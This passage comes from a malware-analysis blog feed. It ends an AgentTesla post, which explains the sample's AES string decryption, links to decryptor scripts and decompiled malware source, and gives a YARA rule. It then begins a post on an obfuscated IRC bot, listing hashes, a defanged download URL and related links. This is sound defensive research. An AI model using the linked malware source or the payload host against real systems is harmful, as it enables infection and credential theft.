https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh84IR86M8Rn_t7SKKLw9iFwFjTiHVc8xgiKsJmQrSK1JGxe1EchK8N3ZOadUhHPROm3-M5ux-8Bw6DZmt2ys9nU7nSM6pwiOD9jak2FbskUIeRc9Fcogp_1lTmX9ZL1BSwAKqYoXajpew/s400/strdecryptor3.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh84IR86M8Rn_t7SKKLw9iFwFjTiHVc8xgiKsJmQrSK1JGxe1EchK8N3ZOadUhHPROm3-M5ux-8Bw6DZmt2ys9nU7nSM6pwiOD9jak2FbskUIeRc9Fcogp_1lTmX9ZL1BSwAKqYoXajpew/s400/strdecryptor3.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh84IR86M8Rn_t7SKKLw9iFwFjTiHVc8xgiKsJmQrSK1JGxe1EchK8N3ZOadUhHPROm3-M5ux-8Bw6DZmt2ys9nU7nSM6pwiOD9jak2FbskUIeRc9Fcogp_1lTmX9ZL1BSwAKqYoXajpew/s400/strdecryptor3.png" width="400" height="105" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh84IR86M8Rn_t7SKKLw9iFwFjTiHVc8xgiKsJmQrSK1JGxe1EchK8N3ZOadUhHPROm3-M5ux-8Bw6DZmt2ys9nU7nSM6pwiOD9jak2FbskUIeRc9Fcogp_1lTmX9ZL1BSwAKqYoXajpew/s400/strdecryptor3.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:105,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh84IR86M8Rn_t7SKKLw9iFwFjTiHVc8xgiKsJmQrSK1JGxe1EchK8N3ZOadUhHPROm3-M5ux-8Bw6DZmt2ys9nU7nSM6pwiOD9jak2FbskUIeRc9Fcogp_1lTmX9ZL1BSwAKqYoXajpew/s400/strdecryptor3.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh84IR86M8Rn_t7SKKLw9iFwFjTiHVc8xgiKsJmQrSK1JGxe1EchK8N3ZOadUhHPROm3-M5ux-8Bw6DZmt2ys9nU7nSM6pwiOD9jak2FbskUIeRc9Fcogp_1lTmX9ZL1BSwAKqYoXajpew/s400/strdecryptor3.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh84IR86M8Rn_t7SKKLw9iFwFjTiHVc8xgiKsJmQrSK1JGxe1EchK8N3ZOadUhHPROm3-M5ux-8Bw6DZmt2ys9nU7nSM6pwiOD9jak2FbskUIeRc9Fcogp_1lTmX9ZL1BSwAKqYoXajpew/s400/strdecryptor3.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh84IR86M8Rn_t7SKKLw9iFwFjTiHVc8xgiKsJmQrSK1JGxe1EchK8N3ZOadUhHPROm3-M5ux-8Bw6DZmt2ys9nU7nSM6pwiOD9jak2FbskUIeRc9Fcogp_1lTmX9ZL1BSwAKqYoXajpew/s400/strdecryptor3.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br> <br> <br> The first block of code of the decryptor of strings is a mixer (it is found in the same <a href="https://github.com/p3pperp0tts/malware_decompiled_code/blob/master/AgentTesla_SMTP_Variant_05_2019/AGENTTESLA/-Module-.cs">source</a>&nbsp;that the encrypted strings) that transforms the given string ID to the index into the array of encrypted strings for that string:<br><br> <br> <br> <br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhWpnY3SkQgKQNzfbI8ICSKhSDGpvj1lbv98ALkfDVPNE9fzBnDEQj3j_sTT5-tqlbsosAMmS32iFo4xrNxp-ZLoMPbYZR9vsIp2DmAPsKpHDPQkPF58pMgatbvOidGQHSmWCNaZ2r16E/s400/strdecryptor2_mixer.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhWpnY3SkQgKQNzfbI8ICSKhSDGpvj1lbv98ALkfDVPNE9fzBnDEQj3j_sTT5-tqlbsosAMmS32iFo4xrNxp-ZLoMPbYZR9vsIp2DmAPsKpHDPQkPF58pMgatbvOidGQHSmWCNaZ2r16E/s400/strdecryptor2_mixer.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhWpnY3SkQgKQNzfbI8ICSKhSDGpvj1lbv98ALkfDVPNE9fzBnDEQj3j_sTT5-tqlbsosAMmS32iFo4xrNxp-ZLoMPbYZR9vsIp2DmAPsKpHDPQkPF58pMgatbvOidGQHSmWCNaZ2r16E/s400/strdecryptor2_mixer.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhWpnY3SkQgKQNzfbI8ICSKhSDGpvj1lbv98ALkfDVPNE9fzBnDEQj3j_sTT5-tqlbsosAMmS32iFo4xrNxp-ZLoMPbYZR9vsIp2DmAPsKpHDPQkPF58pMgatbvOidGQHSmWCNaZ2r16E/s400/strdecryptor2_mixer.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhWpnY3SkQgKQNzfbI8ICSKhSDGpvj1lbv98ALkfDVPNE9fzBnDEQj3j_sTT5-tqlbsosAMmS32iFo4xrNxp-ZLoMPbYZR9vsIp2DmAPsKpHDPQkPF58pMgatbvOidGQHSmWCNaZ2r16E/s400/strdecryptor2_mixer.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhWpnY3SkQgKQNzfbI8ICSKhSDGpvj1lbv98ALkfDVPNE9fzBnDEQj3j_sTT5-tqlbsosAMmS32iFo4xrNxp-ZLoMPbYZR9vsIp2DmAPsKpHDPQkPF58pMgatbvOidGQHSmWCNaZ2r16E/s400/strdecryptor2_mixer.png" width="400" height="222" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhWpnY3SkQgKQNzfbI8ICSKhSDGpvj1lbv98ALkfDVPNE9fzBnDEQj3j_sTT5-tqlbsosAMmS32iFo4xrNxp-ZLoMPbYZR9vsIp2DmAPsKpHDPQkPF58pMgatbvOidGQHSmWCNaZ2r16E/s400/strdecryptor2_mixer.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:222,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhWpnY3SkQgKQNzfbI8ICSKhSDGpvj1lbv98ALkfDVPNE9fzBnDEQj3j_sTT5-tqlbsosAMmS32iFo4xrNxp-ZLoMPbYZR9vsIp2DmAPsKpHDPQkPF58pMgatbvOidGQHSmWCNaZ2r16E/s400/strdecryptor2_mixer.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhWpnY3SkQgKQNzfbI8ICSKhSDGpvj1lbv98ALkfDVPNE9fzBnDEQj3j_sTT5-tqlbsosAMmS32iFo4xrNxp-ZLoMPbYZR9vsIp2DmAPsKpHDPQkPF58pMgatbvOidGQHSmWCNaZ2r16E/s400/strdecryptor2_mixer.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhWpnY3SkQgKQNzfbI8ICSKhSDGpvj1lbv98ALkfDVPNE9fzBnDEQj3j_sTT5-tqlbsosAMmS32iFo4xrNxp-ZLoMPbYZR9vsIp2DmAPsKpHDPQkPF58pMgatbvOidGQHSmWCNaZ2r16E/s400/strdecryptor2_mixer.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhWpnY3SkQgKQNzfbI8ICSKhSDGpvj1lbv98ALkfDVPNE9fzBnDEQj3j_sTT5-tqlbsosAMmS32iFo4xrNxp-ZLoMPbYZR9vsIp2DmAPsKpHDPQkPF58pMgatbvOidGQHSmWCNaZ2r16E/s400/strdecryptor2_mixer.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br> <br> An equivalent python code for this mixer is at <a href="https://github.com/p3pperp0tts/mlwcfg_tools/blob/master/AgentTesla_SMTP_Variant_05_2019/encstr_indexmixer.py">github</a>.<br><br> I guess this mixer could change between samples and versions.<br><br> <br>3.2.2.&nbsp;AES&nbsp;Strings Encryption<br><br> <br> Once an index into the array of encrypted strings is gotten, the string is decrypted. The format for each encrypted string in the array is:<br><br> [32 bytes AES key] [16 bytes AES IV][encrypted string]<br><br> And the string is decrypted by using AES_CBC algorithm. At github you can find an equivalent decryptor written in python:<br><br> <a href="https://github.com/p3pperp0tts/mlwcfg_tools/blob/master/AgentTesla_SMTP_Variant_05_2019/decstr.py">https://github.com/p3pperp0tts/mlwcfg_tools/blob/master/AgentTesla_SMTP_Variant_05_2019/decstr.py</a><br><br> <br> It receives as argument an string ID and print the decrypted string for that ID.<br><br> <br> <br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTbg6hY59Y0_9AAdL0_yEYQsZzU9xFLP9XgeQZtb6-qthnh7He1fzXq49VzZf6gXw6sgmbG-PQeTd8B9c8cx84jR3K0zAItRfmweplUAjfn9GcXoc-mudAxOauTqufeNi9VB3njNbM1c/s400/johnson.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTbg6hY59Y0_9AAdL0_yEYQsZzU9xFLP9XgeQZtb6-qthnh7He1fzXq49VzZf6gXw6sgmbG-PQeTd8B9c8cx84jR3K0zAItRfmweplUAjfn9GcXoc-mudAxOauTqufeNi9VB3njNbM1c/s400/johnson.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTbg6hY59Y0_9AAdL0_yEYQsZzU9xFLP9XgeQZtb6-qthnh7He1fzXq49VzZf6gXw6sgmbG-PQeTd8B9c8cx84jR3K0zAItRfmweplUAjfn9GcXoc-mudAxOauTqufeNi9VB3njNbM1c/s400/johnson.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTbg6hY59Y0_9AAdL0_yEYQsZzU9xFLP9XgeQZtb6-qthnh7He1fzXq49VzZf6gXw6sgmbG-PQeTd8B9c8cx84jR3K0zAItRfmweplUAjfn9GcXoc-mudAxOauTqufeNi9VB3njNbM1c/s400/johnson.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTbg6hY59Y0_9AAdL0_yEYQsZzU9xFLP9XgeQZtb6-qthnh7He1fzXq49VzZf6gXw6sgmbG-PQeTd8B9c8cx84jR3K0zAItRfmweplUAjfn9GcXoc-mudAxOauTqufeNi9VB3njNbM1c/s400/johnson.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTbg6hY59Y0_9AAdL0_yEYQsZzU9xFLP9XgeQZtb6-qthnh7He1fzXq49VzZf6gXw6sgmbG-PQeTd8B9c8cx84jR3K0zAItRfmweplUAjfn9GcXoc-mudAxOauTqufeNi9VB3njNbM1c/s400/johnson.png" width="400" height="133" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTbg6hY59Y0_9AAdL0_yEYQsZzU9xFLP9XgeQZtb6-qthnh7He1fzXq49VzZf6gXw6sgmbG-PQeTd8B9c8cx84jR3K0zAItRfmweplUAjfn9GcXoc-mudAxOauTqufeNi9VB3njNbM1c/s400/johnson.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:133,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTbg6hY59Y0_9AAdL0_yEYQsZzU9xFLP9XgeQZtb6-qthnh7He1fzXq49VzZf6gXw6sgmbG-PQeTd8B9c8cx84jR3K0zAItRfmweplUAjfn9GcXoc-mudAxOauTqufeNi9VB3njNbM1c/s400/johnson.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTbg6hY59Y0_9AAdL0_yEYQsZzU9xFLP9XgeQZtb6-qthnh7He1fzXq49VzZf6gXw6sgmbG-PQeTd8B9c8cx84jR3K0zAItRfmweplUAjfn9GcXoc-mudAxOauTqufeNi9VB3njNbM1c/s400/johnson.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTbg6hY59Y0_9AAdL0_yEYQsZzU9xFLP9XgeQZtb6-qthnh7He1fzXq49VzZf6gXw6sgmbG-PQeTd8B9c8cx84jR3K0zAItRfmweplUAjfn9GcXoc-mudAxOauTqufeNi9VB3njNbM1c/s400/johnson.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTbg6hY59Y0_9AAdL0_yEYQsZzU9xFLP9XgeQZtb6-qthnh7He1fzXq49VzZf6gXw6sgmbG-PQeTd8B9c8cx84jR3K0zAItRfmweplUAjfn9GcXoc-mudAxOauTqufeNi9VB3njNbM1c/s400/johnson.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br> <br> <br>3.2.3. List of Decrypted Strings<br><br> <br> Here it's the full list of decrypted strings that the analyzed sample use:<br><br> <a href="https://github.com/p3pperp0tts/mlwcfg_tools/blob/master/AgentTesla_SMTP_Variant_05_2019/encstr.txt">https://github.com/p3pperp0tts/mlwcfg_tools/blob/master/AgentTesla_SMTP_Variant_05_2019/encstr.txt</a><br><br><br></p><h4>3.2.&nbsp;Decompiled Source Code With Decrypted Strings</h4><p><br>I have uploaded a decompiled source code for the unpacked agenttesla from sample&nbsp;ae4d420c05281acf9696e558b02a42f8:</p><p><a href="https://github.com/p3pperp0tts/malware_decompiled_code/tree/master/AgentTesla_SMTP_Variant_05_2019">https://github.com/p3pperp0tts/malware_decompiled_code/tree/master/AgentTesla_SMTP_Variant_05_2019</a></p><p> This source code is commented with the associated decrypted string for each part of the code where an string is being decrypted, making easier to understand the malware behavior:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvUwC5Ribx27FL7ivMGs6pTcZNbweQrwwrTtnuwQOr_P933AXFXw5VfDQzCEidbENCkLEN3t90vjn7JU9v3hOIqXvmKa14j9L63xlYPOeMaavwzWpXUlQzwlQGTjsXBUpFauqLTybl1OE/s400/johnson2.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvUwC5Ribx27FL7ivMGs6pTcZNbweQrwwrTtnuwQOr_P933AXFXw5VfDQzCEidbENCkLEN3t90vjn7JU9v3hOIqXvmKa14j9L63xlYPOeMaavwzWpXUlQzwlQGTjsXBUpFauqLTybl1OE/s400/johnson2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvUwC5Ribx27FL7ivMGs6pTcZNbweQrwwrTtnuwQOr_P933AXFXw5VfDQzCEidbENCkLEN3t90vjn7JU9v3hOIqXvmKa14j9L63xlYPOeMaavwzWpXUlQzwlQGTjsXBUpFauqLTybl1OE/s400/johnson2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvUwC5Ribx27FL7ivMGs6pTcZNbweQrwwrTtnuwQOr_P933AXFXw5VfDQzCEidbENCkLEN3t90vjn7JU9v3hOIqXvmKa14j9L63xlYPOeMaavwzWpXUlQzwlQGTjsXBUpFauqLTybl1OE/s400/johnson2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvUwC5Ribx27FL7ivMGs6pTcZNbweQrwwrTtnuwQOr_P933AXFXw5VfDQzCEidbENCkLEN3t90vjn7JU9v3hOIqXvmKa14j9L63xlYPOeMaavwzWpXUlQzwlQGTjsXBUpFauqLTybl1OE/s400/johnson2.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvUwC5Ribx27FL7ivMGs6pTcZNbweQrwwrTtnuwQOr_P933AXFXw5VfDQzCEidbENCkLEN3t90vjn7JU9v3hOIqXvmKa14j9L63xlYPOeMaavwzWpXUlQzwlQGTjsXBUpFauqLTybl1OE/s400/johnson2.png" width="400" height="63" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvUwC5Ribx27FL7ivMGs6pTcZNbweQrwwrTtnuwQOr_P933AXFXw5VfDQzCEidbENCkLEN3t90vjn7JU9v3hOIqXvmKa14j9L63xlYPOeMaavwzWpXUlQzwlQGTjsXBUpFauqLTybl1OE/s400/johnson2.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:63,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvUwC5Ribx27FL7ivMGs6pTcZNbweQrwwrTtnuwQOr_P933AXFXw5VfDQzCEidbENCkLEN3t90vjn7JU9v3hOIqXvmKa14j9L63xlYPOeMaavwzWpXUlQzwlQGTjsXBUpFauqLTybl1OE/s400/johnson2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvUwC5Ribx27FL7ivMGs6pTcZNbweQrwwrTtnuwQOr_P933AXFXw5VfDQzCEidbENCkLEN3t90vjn7JU9v3hOIqXvmKa14j9L63xlYPOeMaavwzWpXUlQzwlQGTjsXBUpFauqLTybl1OE/s400/johnson2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvUwC5Ribx27FL7ivMGs6pTcZNbweQrwwrTtnuwQOr_P933AXFXw5VfDQzCEidbENCkLEN3t90vjn7JU9v3hOIqXvmKa14j9L63xlYPOeMaavwzWpXUlQzwlQGTjsXBUpFauqLTybl1OE/s400/johnson2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvUwC5Ribx27FL7ivMGs6pTcZNbweQrwwrTtnuwQOr_P933AXFXw5VfDQzCEidbENCkLEN3t90vjn7JU9v3hOIqXvmKa14j9L63xlYPOeMaavwzWpXUlQzwlQGTjsXBUpFauqLTybl1OE/s400/johnson2.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><h3>4. Yara Rules</h3><p> Yara Rule for Unpacked AgentTesla:<br><br><br></p><pre><code>       

rule AgentTesla_SMTP_Variant_05_2019_mem {
    strings:
  $AESdec = { 28 ?? ?? ?? ?? 25 FE 09 01 00 6F ?? ?? ?? ?? 25 FE 09 02 00 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? FE 09 00 00 20 00 00 00 00 FE 09 00 00 8E 69 6F ?? ?? ?? ?? 2A }
  $StrDecLast = { 25 16 07 16 09 28 ?? ?? ?? ?? 25 09 08 16 11 04 28 ?? ?? ?? ?? 09 11 04 58 11 0D 16 11 0C 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 0D 07 08 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A }
    condition:
    all of them
}
       
 </code></pre><p><br> From this code:<br><br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYcs9yXFXsTeZlKaTwINZn1FKvbanJd2jDUFDLVrj4QSeCEzDWbXqX49uzHGPfZMXjibbDcDiv0AgJY55qiUxYc_CvereMBVc3pzEDQ14OQamfrvfvz5aFeL1k6ryEevT2z_M0Hbuh-Go/s400/yarafrom.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYcs9yXFXsTeZlKaTwINZn1FKvbanJd2jDUFDLVrj4QSeCEzDWbXqX49uzHGPfZMXjibbDcDiv0AgJY55qiUxYc_CvereMBVc3pzEDQ14OQamfrvfvz5aFeL1k6ryEevT2z_M0Hbuh-Go/s400/yarafrom.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYcs9yXFXsTeZlKaTwINZn1FKvbanJd2jDUFDLVrj4QSeCEzDWbXqX49uzHGPfZMXjibbDcDiv0AgJY55qiUxYc_CvereMBVc3pzEDQ14OQamfrvfvz5aFeL1k6ryEevT2z_M0Hbuh-Go/s400/yarafrom.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYcs9yXFXsTeZlKaTwINZn1FKvbanJd2jDUFDLVrj4QSeCEzDWbXqX49uzHGPfZMXjibbDcDiv0AgJY55qiUxYc_CvereMBVc3pzEDQ14OQamfrvfvz5aFeL1k6ryEevT2z_M0Hbuh-Go/s400/yarafrom.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYcs9yXFXsTeZlKaTwINZn1FKvbanJd2jDUFDLVrj4QSeCEzDWbXqX49uzHGPfZMXjibbDcDiv0AgJY55qiUxYc_CvereMBVc3pzEDQ14OQamfrvfvz5aFeL1k6ryEevT2z_M0Hbuh-Go/s400/yarafrom.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYcs9yXFXsTeZlKaTwINZn1FKvbanJd2jDUFDLVrj4QSeCEzDWbXqX49uzHGPfZMXjibbDcDiv0AgJY55qiUxYc_CvereMBVc3pzEDQ14OQamfrvfvz5aFeL1k6ryEevT2z_M0Hbuh-Go/s400/yarafrom.png" width="400" height="229" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYcs9yXFXsTeZlKaTwINZn1FKvbanJd2jDUFDLVrj4QSeCEzDWbXqX49uzHGPfZMXjibbDcDiv0AgJY55qiUxYc_CvereMBVc3pzEDQ14OQamfrvfvz5aFeL1k6ryEevT2z_M0Hbuh-Go/s400/yarafrom.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:229,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYcs9yXFXsTeZlKaTwINZn1FKvbanJd2jDUFDLVrj4QSeCEzDWbXqX49uzHGPfZMXjibbDcDiv0AgJY55qiUxYc_CvereMBVc3pzEDQ14OQamfrvfvz5aFeL1k6ryEevT2z_M0Hbuh-Go/s400/yarafrom.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYcs9yXFXsTeZlKaTwINZn1FKvbanJd2jDUFDLVrj4QSeCEzDWbXqX49uzHGPfZMXjibbDcDiv0AgJY55qiUxYc_CvereMBVc3pzEDQ14OQamfrvfvz5aFeL1k6ryEevT2z_M0Hbuh-Go/s400/yarafrom.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYcs9yXFXsTeZlKaTwINZn1FKvbanJd2jDUFDLVrj4QSeCEzDWbXqX49uzHGPfZMXjibbDcDiv0AgJY55qiUxYc_CvereMBVc3pzEDQ14OQamfrvfvz5aFeL1k6ryEevT2z_M0Hbuh-Go/s400/yarafrom.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYcs9yXFXsTeZlKaTwINZn1FKvbanJd2jDUFDLVrj4QSeCEzDWbXqX49uzHGPfZMXjibbDcDiv0AgJY55qiUxYc_CvereMBVc3pzEDQ14OQamfrvfvz5aFeL1k6ryEevT2z_M0Hbuh-Go/s400/yarafrom.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a>]]></content:encoded></item><item><title><![CDATA[Analysis of .Net Deucalion IrcBot Sample Obfuscated with ConfuserEx+KoiVM]]></title><description><![CDATA[In this post I perform a quick analysis of a sample that seems to be an ircbot, named alphaircbot (based on the any.run tags) or deucalion (based on the internal .net classes names and deobfuscated strings).]]></description><link>https://www.peppermalware.com/p/analysis-of-net-deucalion-ircbot-sample</link><guid isPermaLink="false">https://www.peppermalware.com/p/analysis-of-net-deucalion-ircbot-sample</guid><dc:creator><![CDATA[PepperMalware]]></dc:creator><pubDate>Mon, 15 Apr 2019 20:13:00 GMT</pubDate><enclosure url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW7uDhSr-0Du3pF9W7L9NhfDpQW6LgX-1gvSnVzNNFlWOnojGM7RUMPHEvNBIc10pxgWFUZ0ZKZI8SgFXvaMmQ431cdpy3Ty9ElnYFQjyDIwT0lGKKz6HCmn_4z4VhEwLe6caVPpUSuNU/s400/confuserex_koi.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this post I perform a quick analysis of a sample that seems to be an ircbot, named alphaircbot (based on the any.run tags) or deucalion (based on the internal .net classes names and deobfuscated strings). The malware family itself doesn't seem specially interesting, however, it is obfuscated with ConfuserEx obfuscator + KoiVM virtualization.<br><br>It was quite hard for me to deal with the obfuscated code, and debug it with dnSpy or similar tools to get the original assembly. I decided to use Windbg's sos extension to walk the loaded assemblies and to find the dynamic assemblies belonging to the original malware code. With this extension it is possible to enum the method tables foreach assembly and the stacks foreach thread that is executing managed code, making easy to find jit generated code that belongs to the malware code (and interesting malware's data referenced by the jit generated code).<br><br><br></p><ol><li><p><strong>Original Packed Sample:</strong>&nbsp;<a href="https://www.virustotal.com/gui/file/d15c5d86d4928052e085de35133520dec742c1b43a320603e46e5197e98ee881/detection">40e751c032c75d33c807219b2de6c584</a></p></li><li><p><strong>Source Url:&nbsp;</strong>hxxp://54.38.22[.]53/spike/svchost.exe</p></li><li><p><strong>Info Url:</strong>&nbsp;<a href="https://urlhaus.abuse.ch/url/172954/">URLhaus</a></p></li><li><p><strong>Automatic Generated Report:&nbsp;</strong><a href="http://sandbox.peppermalware.com/publicreport/?filter=40e751c032c75d33c807219b2de6c584&amp;action=showpdf">PepperMalware Report</a></p></li><li><p><strong>Virustotal First Submission:</strong>&nbsp;2018-06-10 16:37:46</p></li><li><p><strong>Other AlphaIrcbot samples at Any.Run:</strong>&nbsp;</p></li></ol><blockquote><ol><li><p><a href="https://app.any.run/tasks/fa798d98-c2c7-42e0-98a1-97c56cfb5ab3">asdjdsffdgnms.exe</a>&nbsp;(2018-08-19 10:25:54)</p></li><li><p><a href="https://app.any.run/tasks/c6f170bb-427f-4598-bab7-8ce4c9221a82">KFDJfd.exe</a>&nbsp;(2018-11-16 00:26:10)</p></li><li><p><a href="https://app.any.run/tasks/5cb82d0f-923a-4070-96bb-c56652191fd5">jjunpkvyalquru.exe</a>&nbsp;(2018-09-01 21:40:15)&nbsp;</p></li></ol></blockquote><ol><li><p><strong>Any.Run Tags: </strong>alphaircbot</p></li><li><p><strong>Related links:</strong></p></li></ol><blockquote><ol><li><p><a href="https://hackforums.net/showthread.php?tid=5875152">https://hackforums.net/showthread.php?tid=5875152</a>&nbsp;</p></li><li><p><a href="http://offensivecommunity.net/showthread.php?tid=76358">http://offensivecommunity.net/showthread.php?tid=76358</a></p></li><li><p><a href="https://urlhaus.abuse.ch/browse/tag/AlphaIRCBot/">https://urlhaus.abuse.ch/browse/tag/AlphaIRCBot/</a>&nbsp;</p></li><li><p><a href="https://yck1509.github.io/ConfuserEx/">https://yck1509.github.io/ConfuserEx/</a>&nbsp;</p></li><li><p><a href="https://github.com/Loksie/KoiVM-Virtualization">https://github.com/Loksie/KoiVM-Virtualization</a></p></li><li><p><a href="https://docs.microsoft.com/en-us/dotnet/framework/tools/sos-dll-sos-debugging-extension">https://docs.microsoft.com/en-us/dotnet/framework/tools/sos-dll-sos-debugging-extension</a>&nbsp;</p></li><li><p><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-managed-code">https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-managed-code</a>&nbsp;</p></li><li><p><a 